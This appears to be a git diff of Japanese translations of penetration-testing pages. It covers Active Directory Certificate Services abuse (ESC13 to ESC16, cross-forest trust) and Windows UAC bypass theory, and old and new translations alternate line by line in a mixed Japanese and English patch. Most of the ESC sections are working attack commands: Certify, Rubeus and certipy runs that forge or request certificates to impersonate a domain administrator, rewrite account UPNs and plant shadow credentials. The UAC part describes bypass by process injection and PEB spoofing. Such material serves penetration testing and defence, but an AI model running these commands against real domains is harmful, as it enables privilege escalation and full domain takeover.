- **前提条件**:ターゲットが `altSecurityIdentities` に弱い X509SubjectOnly 明示的マッピングを持っている。攻撃者は被害者プリンシパルの `cn` または `dNSHostName` 属性をターゲットの X509SubjectOnly マッピングの subject に一致させるよう設定できる。次に、攻撃者は被害者として証明書を登録し、この証明書を使ってターゲットとして認証できる。
|
||||
|
||||
### 具体的な操作
|
||||
|
||||
### concrete operations
|
||||
#### Scenario A
|
||||
|
||||
証明書テンプレート `Machine` の証明書を要求する(Request a certificate of the certificate template `Machine`)。
|
||||
証明書テンプレート `Machine` の証明書を要求する
|
||||
```bash
|
||||
.\Certify.exe request /ca:<ca> /template:Machine /machine
|
||||
```
|
||||
@ -752,35 +750,35 @@ ESC14 は Active Directory (AD) の **explicit certificate mappings**、特に `
|
||||
```bash
|
||||
certutil -MergePFX .\esc13.pem .\esc13.pfx
|
||||
```
|
||||
認証(証明書を使用)
|
||||
認証する(証明書を使用して)
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
|
||||
```
|
||||
クリーンアップ(オプション)
|
||||
クリーンアップ(任意)
|
||||
```bash
|
||||
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
|
||||
```
|
||||
For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
|
||||
|
||||
## EKUwu Application Policies(CVE-2024-49019) - ESC15
|
||||
## EKUwu アプリケーションポリシー(CVE-2024-49019) - ESC15
|
||||
|
||||
### Explanation
|
||||
### 説明
|
||||
|
||||
The description at https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc is remarkably thorough. Below is a quotation of the original text.
|
||||
|
||||
組み込みのデフォルトの version 1 certificate templates を使用すると、攻撃者は CSR を作成して、テンプレートで指定された Extended Key Usage 属性よりも優先される application policies を含めることができます。唯一の要件は enrollment rights であり、**_WebServer_** テンプレートを使用して client authentication、certificate request agent、codesigning 証明書を生成するために利用できます。
|
||||
Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
|
||||
|
||||
### Abuse
|
||||
### 悪用
|
||||
|
||||
以下は [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods. を参照しています。
|
||||
The following is referenced to [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), 詳細な使用方法はクリックしてご覧ください。
|
||||
|
||||
Certipy の `find` コマンドは、CA が未パッチの場合に ESC15 の影響を受ける可能性のある V1 テンプレートを特定するのに役立ちます。
|
||||
Certipy's `find` command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched.
|
||||
```bash
|
||||
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
|
||||
```
|
||||
#### シナリオ A: Schannel を介した直接的ななりすまし
|
||||
#### シナリオ A: Direct Impersonation via Schannel
|
||||
|
||||
**ステップ 1: "Client Authentication" Application Policy とターゲット UPN を注入して証明書を要求する。** 攻撃者 `attacker@corp.local` は `administrator@corp.local` を「WebServer」V1 テンプレートを使用してターゲットにする(このテンプレートは登録者が提供した subject を許可する)。
|
||||
**ステップ 1: 証明書を要求し、"Client Authentication" Application Policy とターゲット UPN を注入します。** 攻撃者 `attacker@corp.local` は `administrator@corp.local` を "WebServer" V1 テンプレート(enrollee-supplied subject を許可)を使用して標的にします。
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -789,9 +787,9 @@ certipy req \
|
||||
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
|
||||
-application-policies 'Client Authentication'
|
||||
```
|
||||
- `-template 'WebServer'`: "Enrollee supplies subject" を持つ脆弱な V1 テンプレート。
|
||||
- `-template 'WebServer'`: 脆弱な V1 テンプレートで、"Enrollee supplies subject" が有効になっています。
|
||||
- `-application-policies 'Client Authentication'`: CSR の Application Policies 拡張に OID `1.3.6.1.5.5.7.3.2` を注入します。
|
||||
- `-upn 'administrator@corp.local'`: なりすましのために SAN に UPN を設定します。
|
||||
- `-upn 'administrator@corp.local'`: SAN に UPN を設定してなりすましを行います。
|
||||
|
||||
**ステップ 2: 取得した証明書を使用して Schannel (LDAPS) 経由で認証します。**
|
||||
```bash
|
||||
@ -799,7 +797,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
|
||||
```
|
||||
#### シナリオB: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
|
||||
|
||||
**ステップ1: V1 テンプレート (with "Enrollee supplies subject") から証明書を要求し、"Certificate Request Agent" Application Policy を注入する。** この証明書は攻撃者(`attacker@corp.local`)が enrollment agent になるためのものである。目的は agent capability であるため、攻撃者自身の識別子には UPN は指定されていない。
|
||||
**Step 1: V1 template("Enrollee supplies subject" を使って)から証明書を要求し、"Certificate Request Agent" Application Policy を注入します。** この証明書は攻撃者(`attacker@corp.local`)が enrollment agent になるためのものです。目的が agent としての機能であるため、攻撃者自身の UPN はここでは指定されていません。
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -809,7 +807,7 @@ certipy req \
|
||||
```
|
||||
- `-application-policies 'Certificate Request Agent'`: OID `1.3.6.1.4.1.311.20.2.1` を注入します。
|
||||
|
||||
**ステップ2: 対象の特権ユーザーを代理して証明書を要求するために "agent" 証明書を使用します。** これは ESC3-like な手順で、ステップ1の証明書を agent 証明書として使用します。
|
||||
**Step 2: Use the "agent" certificate to request a certificate on behalf of a target privileged user.** これは ESC3 のようなステップで、ステップ1の証明書を "agent" 証明書として使用します。
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -817,52 +815,51 @@ certipy req \
|
||||
-ca 'CORP-CA' -template 'User' \
|
||||
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
|
||||
```
|
||||
**ステップ 3: "on-behalf-of" 証明書を使用して特権ユーザーとして認証します。**
|
||||
**ステップ3: "on-behalf-of" 証明書を使用して特権ユーザーとして認証する。**
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
|
||||
```
|
||||
## Security Extension Disabled on CA (Globally)-ESC16
|
||||
## CAでのSecurity Extensionが無効(グローバル)-ESC16
|
||||
|
||||
### 説明
|
||||
|
||||
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** は、AD CS の設定がすべての証明書に **szOID_NTDS_CA_SECURITY_EXT** 拡張の付加を強制していない場合に発生するシナリオを指し、攻撃者は次のように悪用できます:
|
||||
**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** は、AD CS の設定がすべての証明書に **szOID_NTDS_CA_SECURITY_EXT** 拡張の挿入を強制しない場合に発生する状況を指し、攻撃者はこれを以下の方法で悪用できます:
|
||||
|
||||
1. SID binding を行わずに証明書を要求する。
|
||||
1. 証明書を**without SID binding**で要求する。
|
||||
2. この証明書を**for authentication as any account**として使用し、例えば高権限アカウント(例:Domain Administrator)を偽装する。
|
||||
|
||||
2. この証明書を任意のアカウントとしての認証に使用する(例えば高権限アカウントを偽装する、例: Domain Administrator(ドメイン管理者))。
|
||||
詳細な原理については次の記事も参照してください:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
|
||||
|
||||
詳細な原理については次の記事も参照してください: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
|
||||
### 悪用
|
||||
|
||||
### Abuse
|
||||
以下は [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally) を参照しています。詳細な使用方法はクリックしてご覧ください。
|
||||
|
||||
以下は[this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally) を参照しています。詳細な使用方法はリンクをクリックしてご確認ください。
|
||||
|
||||
Active Directory Certificate Services (AD CS) 環境が **ESC16** に対して脆弱かどうかを識別するために
|
||||
Active Directory Certificate Services (AD CS) 環境が **ESC16** に対して脆弱かどうかを識別するには
|
||||
```bash
|
||||
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
|
||||
```
|
||||
**ステップ 1: 被害者アカウントの初期 UPN を読み取る(オプション - 復元用)。**
|
||||
**ステップ 1: 被害者アカウントの初期 UPN を読み取る (任意 - 復元用).
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -user 'victim' \
|
||||
read
|
||||
```
|
||||
**ステップ 2: 被害者アカウントの UPN をターゲット管理者の `sAMAccountName` に更新します。**
|
||||
**ステップ 2: 被害者アカウントの UPN をターゲット管理者の `sAMAccountName` に更新する。**
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -upn 'administrator' \
|
||||
-user 'victim' update
|
||||
```
|
||||
**ステップ 3: (必要な場合) 「victim」アカウントの資格情報を取得する (例: Shadow Credentials を利用)。**
|
||||
**ステップ 3: (必要なら) "victim" account の credentials を取得する (例: Shadow Credentials を介して).**
|
||||
```shell
|
||||
certipy shadow \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -account 'victim' \
|
||||
auto
|
||||
```
|
||||
**ステップ4: ESC16 に脆弱な CA 上で、_任意の適切なクライアント認証テンプレート_(例: "User")から "victim" ユーザーとして証明書を要求します。** CA が ESC16 に脆弱であるため、テンプレートのこの拡張に関する具体的な設定にかかわらず、発行される証明書から SID セキュリティ拡張を自動的に省略します。Kerberos credential cache 環境変数を設定します(シェルコマンド):
|
||||
**Step 4: Request a certificate as the "victim" user from _任意の適切なクライアント認証テンプレート_ (e.g., "User") on the ESC16-vulnerable CA.** CA が ESC16 に脆弱なため、テンプレートの該当拡張設定に関係なく、発行される証明書から自動的に SID セキュリティ拡張が省略されます。Kerberos のクレデンシャルキャッシュ環境変数を設定します(シェルコマンド):
|
||||
```bash
|
||||
export KRB5CCNAME=victim.ccache
|
||||
```
|
||||
@ -886,18 +883,18 @@ certipy auth \
|
||||
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
|
||||
-username 'administrator' -domain 'corp.local'
|
||||
```
|
||||
## 証明書によるフォレストの乗っ取り(受動態で説明)
|
||||
## 証明書によるフォレストの侵害(受動態での説明)
|
||||
|
||||
### 侵害された CA によるフォレストトラストの破壊
|
||||
### 侵害された CA によってフォレストの信頼が破壊される
|
||||
|
||||
**cross-forest enrollment** の設定は比較的簡単に行われる。管理者によって resource forest からの **root CA certificate** が **account forests に公開され**、resource forest の **enterprise CA** 証明書が各 account forest の `NTAuthCertificates` と AIA コンテナに **追加される**。つまり、この構成により resource forest の **CA** は PKI を管理する他のすべてのフォレストに対して完全な制御を与えられることになる。もしこの CA が攻撃者により侵害された場合、resource と account の各フォレストの全ユーザーの証明書が攻撃者により偽造されうるため、フォレストのセキュリティ境界は破られる。
|
||||
**cross-forest enrollment** の構成は比較的単純に設定される。リソースフォレストの **root CA certificate** は管理者によって **published to the account forests** され、リソースフォレストの **enterprise CA** 証明書は各アカウントフォレストの **`NTAuthCertificates` and AIA containers in each account forest** に **added** される。つまり、この構成により、リソースフォレストの **CA in the resource forest complete control** が他の PKI を管理するすべてのフォレストに対して与えられることになる。もしこの CA が **compromised by attackers** と、リソースフォレストおよびアカウントフォレスト両方のすべてのユーザーの証明書が **forged by them** され得るため、フォレストのセキュリティ境界が破壊されることになる。
|
||||
|
||||
### 外部プリンシパルに付与される登録権限
|
||||
### 外部プリンシパルに付与されるエンロール権限
|
||||
|
||||
マルチフォレスト環境では、Enterprise CAs が **certificate templates** を公開し、それが **Authenticated Users や foreign principals**(Enterprise CA が属するフォレスト外のユーザー/グループ)に対して **enrollment and edit rights** を許可している場合は注意が必要である。\
|
||||
トラスト越しに認証されると、AD によりユーザーのトークンに **Authenticated Users SID** が追加される。したがって、あるドメインが Enterprise CA を持ち、かつテンプレートが **Authenticated Users の enrollment 権限を許可している**場合、別フォレストのユーザーによってそのテンプレートが登録される可能性がある。同様に、テンプレートによって明示的に foreign principal に enrollment 権限が付与されている場合、**cross-forest access-control relationship** が作成され、あるフォレストのプリンシパルが別のフォレストのテンプレートに **enroll** できるようになる。
|
||||
マルチフォレスト環境では、Enterprise CAs が **publish certificate templates** して **Authenticated Users or foreign principals**(Enterprise CA が属するフォレストの外部にあるユーザー/グループ)に **enrollment and edit rights** を許可している場合に注意が必要とされる。\
|
||||
トラストを越えた認証が行われると、**Authenticated Users SID** が AD によってユーザーのトークンに追加される。したがって、あるドメインが **allows Authenticated Users enrollment rights** を有するテンプレートを持つ Enterprise CA を保有している場合、そのテンプレートは別のフォレストのユーザーによって **enrolled in by a user from a different forest** され得る。同様に、テンプレートによって **enrollment rights are explicitly granted to a foreign principal by a template** 場合、**cross-forest access-control relationship is thereby created** され、一方のフォレストのプリンシパルが別のフォレストのテンプレートに **enroll in a template from another forest** できるようにされる。
|
||||
|
||||
いずれのシナリオもフォレスト間で **attack surface の拡大** を招く。攻撃者は certificate template の設定を悪用して、外部ドメインで追加の特権を取得することが可能になる。
|
||||
どちらのシナリオでも、フォレスト間での **increase in the attack surface** が引き起こされる。証明書テンプレートの設定は攻撃者によって悪用され、外部ドメインで追加の特権が取得される可能性がある。
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,57 +4,58 @@
|
||||
|
||||
## UAC
|
||||
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は、**昇格が必要な操作に対して同意プロンプトを表示する**機能です。アプリケーションは異なる `integrity` レベルを持ち、**high level** のプログラムは**システムを損なう可能性のある**操作を実行できます。UAC が有効な場合、管理者が明示的にアプリケーション/タスクに管理者レベルのアクセスを許可して実行させない限り、アプリケーションやタスクは常に**非管理者アカウントのセキュリティコンテキストで実行されます**。これは管理者を意図しない変更から守るための利便性機能ですが、セキュリティ境界とは見なされません。
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は、昇格が必要な操作に対して **同意プロンプトを表示する** 機能です。アプリケーションは異なる `integrity` レベルを持ち、**高いレベル** のプログラムは **システムを危険にさらす可能性のある操作** を実行できます。UAC が有効な場合、アプリケーションやタスクは、管理者が明示的にそのアプリケーション/タスクに管理者レベルのアクセスを許可して実行する場合を除き、常に **非管理者アカウントのセキュリティコンテキストで実行されます**。これは管理者を意図しない変更から守る利便機能ですが、セキュリティ境界とは見なされません。
|
||||
|
||||
For more info about integrity levels:
|
||||
|
||||
integrity レベルの詳細については:
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
UAC が有効な場合、管理者ユーザーには 2 つのトークンが付与されます:通常の操作を行うための標準ユーザー用トークンと、管理者権限を持つトークンです。
|
||||
UAC が有効な場合、管理者ユーザーには 2 つのトークンが付与されます: 標準ユーザー用のトークン(通常の操作を行うため)と、管理者権限を持つトークンです。
|
||||
|
||||
この [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ではログオンプロセス、ユーザー体験、UAC アーキテクチャを含め、UAC の動作について詳しく説明されています。管理者はセキュリティポリシーを使用してローカルレベルで UAC の動作を組織向けに構成できます(secpol.msc を使用)、または Active Directory ドメイン環境では Group Policy Objects (GPO) 経由で配布・適用できます。各設定の詳細は [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) に記載されています。UAC に設定できる Group Policy は 10 個あります。以下の表は追加の詳細を示します:
|
||||
この [ページ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は UAC の動作(ログオンプロセス、ユーザー体験、UAC アーキテクチャ)を詳しく説明しています。管理者はセキュリティポリシーを使用して組織固有に UAC の動作をローカルレベル(secpol.msc を使用)で構成したり、Active Directory ドメイン環境では Group Policy Objects (GPO) を介して配布・適用することができます。各種設定の詳細は [こちら](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) を参照してください。UAC に設定できる Group Policy は 10 個あります。以下の表は追加の詳細を示します:
|
||||
|
||||
| Group Policy Setting | Registry Key | Default Setting |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled |
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled |
|
||||
| Group Policy 設定 | Registry Key | デフォルト設定 |
|
||||
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------- | ------------------------------------------------------------ |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 無効 |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 無効 |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 非Windowsバイナリに対して同意を求める |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | セキュアデスクトップで資格情報を要求する |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | 有効(Home のデフォルト) 無効(Enterprise のデフォルト) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | 無効 |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | 有効 |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | 有効 |
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | 有効 |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | 有効 |
|
||||
|
||||
### UAC Bypass Theory
|
||||
|
||||
一部のプログラムは、ユーザーが **administrator group** に属している場合に **自動的に autoelevated** されます。これらのバイナリは内部の _**Manifests**_ に _**autoElevate**_ オプションを _**True**_ として持っています。さらにそのバイナリは **Microsoft によって署名されている必要があります**。
|
||||
いくつかのプログラムは、**ユーザーが管理者グループに属している**場合に **自動的にオートエレベートされる(autoelevated)** ことがあります。これらのバイナリは内部の _**Manifests**_ に _**autoElevate**_ オプションが _**True**_ に設定されています。バイナリは **Microsoft によって署名されている** 必要もあります。
|
||||
|
||||
多くの auto-elevate プロセスは **COM objects や RPC servers を通じて機能を公開**しており、これらは medium integrity(通常のユーザーレベル権限)で動作するプロセスから呼び出すことができます。COM (Component Object Model) や RPC (Remote Procedure Call) は、Windows プログラムが異なるプロセス間で通信・関数実行を行うための仕組みです。たとえば **`IFileOperation COM object`** はファイル操作(コピー、削除、移動)を扱うよう設計されており、プロンプトなしで自動的に権限を昇格できることがあります。
|
||||
多くの auto-elevate プロセスは **COM オブジェクトや RPC サーバー経由で機能を公開**しており、これらは中間整合性(通常のユーザーレベル)で実行されているプロセスから呼び出すことができます。ここで、COM (Component Object Model) や RPC (Remote Procedure Call) は、Windows プログラムが異なるプロセス間で通信や処理実行を行うための手段です。例えば、**`IFileOperation COM object`** はファイル操作(コピー、削除、移動)を扱うために設計されており、プロンプトなしで自動的に権限を昇格させることができます。
|
||||
|
||||
プロセスが **System32 directory** から実行されたかをチェックするなど、いくつかのチェックが行われることがあります。これらは例えば **explorer.exe に注入する**などして回避できます(explorer.exe は System32 に配置されています)。
|
||||
プロセスが **System32 directory** から実行されたかどうかをチェックするような検査が行われる場合があり、これは例えば **explorer.exe に注入する** や他の System32 配下の実行ファイルに注入することで回避できます。
|
||||
|
||||
別の回避方法としては **PEB を改変する**ことがあります。Windows の各プロセスは Process Environment Block (PEB) を持ち、実行ファイルのパスなどプロセスに関する重要なデータが含まれます。PEB を変更することで、攻撃者は自身の悪意あるプロセスの実行場所を偽装(spoof)し、信頼されたディレクトリ(例: system32)から実行されているように見せかけることができます。この偽装情報によって COM オブジェクトはユーザーにプロンプトを出さずに自動昇格する場合があります。
|
||||
これらのチェックを回避する別の方法として **PEB を改変する** ことがあります。Windows のすべてのプロセスには Process Environment Block (PEB) が存在し、実行ファイルのパスなどプロセスに関する重要なデータを含んでいます。PEB を改変することで、攻撃者は自分の悪意あるプロセスの場所を偽装(spoof)し、信頼されたディレクトリ(例えば system32)から実行されているように見せかけることができます。この偽装された情報が COM オブジェクトを騙して、ユーザーにプロンプトを表示させずに自動的に昇格させる原因となります。
|
||||
|
||||
その結果、UAC を **バイパス**(**medium** integrity から **high** へ昇格)するために、攻撃者はこの種のバイナリを利用して **任意コードを実行**します。なぜならそのコードは **High level integrity プロセス** のコンテキストで実行されるからです。
|
||||
その後、UAC を **バイパス**(中間整合性レベルから 高い整合性レベル へ昇格)するために、攻撃者はこの種のバイナリを利用して **任意のコードを実行** することがあります。なぜならそのコードは **高い整合性レベルのプロセス** から実行されるためです。
|
||||
|
||||
バイナリの _**Manifest**_ は Sysinternals のツール _**sigcheck.exe**_ を使って確認できます。(`sigcheck.exe -m <file>`) また、プロセスの **integrity level** は _Process Explorer_ や _Process Monitor_(Sysinternals)で確認できます。
|
||||
バイナリの _**Manifest**_ を確認するには、Sysinternals のツール _**sigcheck.exe**_ を使用できます。(`sigcheck.exe -m <file>`) また、プロセスの **integrity level** は _Process Explorer_ や _Process Monitor_(Sysinternals)で確認できます。
|
||||
|
||||
### Check UAC
|
||||
|
||||
UAC が有効かどうかを確認するには、以下を実行してください:
|
||||
UAC が有効か確認するには、次を実行してください:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
|
||||
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
EnableLUA REG_DWORD 0x1
|
||||
```
|
||||
値が **`1`** の場合は UAC が **有効** です。値が **`0`** であるか存在しない場合は UAC が **無効** です。
|
||||
もし **`1`** なら UAC は **有効**、**`0`** であるか **存在しない** 場合は UAC は **無効**。
|
||||
|
||||
次に、どの **レベル** が設定されているかを確認します:
|
||||
次に、**どのレベル**が設定されているかを確認します:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
|
||||
|
||||
@ -62,11 +63,11 @@ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
```
|
||||
- If **`0`** の場合、UAC はプロンプトを表示しません(**無効**のように)
|
||||
- If **`1`** の場合、管理者は高権限でバイナリを実行するために**ユーザー名とパスワードを要求されます**(Secure Desktop 上)
|
||||
- If **`2`**(**Always notify me**)の場合、管理者が高権限の何かを実行しようとすると UAC は常に確認を求めます(Secure Desktop 上)
|
||||
- If **`3`** は `1` と同様ですが、Secure Desktop 上では必要ありません
|
||||
- If **`4`** は `2` と同様ですが、Secure Desktop 上では必要ありません
|
||||
- if **`5`**(**default**)の場合、管理者に対して非 Windows バイナリを高権限で実行するか確認を求めます
|
||||
- If **`1`** の場合、管理者は高い権限でバイナリを実行するために**ユーザー名とパスワードを要求される**(on Secure Desktop)
|
||||
- If **`2`**(**Always notify me**)の場合、管理者が高権限で何かを実行しようとすると UAC は常に確認を求めます(on Secure Desktop)
|
||||
- If **`3`** は `1` と同様ですが Secure Desktop では必須ではありません
|
||||
- If **`4`** は `2` と同様ですが Secure Desktop では必須ではありません
|
||||
- if **`5`**(**default**)の場合、Windows 以外のバイナリを高権限で実行する際に管理者の確認を求めます
|
||||
|
||||
Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
|
||||
If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
|
||||
@ -74,12 +75,12 @@ If the value is **`0`**, then, only the **RID 500** user (**built-in Administrat
|
||||
And, finally take a look at the value of the key **`FilterAdministratorToken`**\
|
||||
If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
|
||||
|
||||
#### まとめ
|
||||
#### Summary
|
||||
|
||||
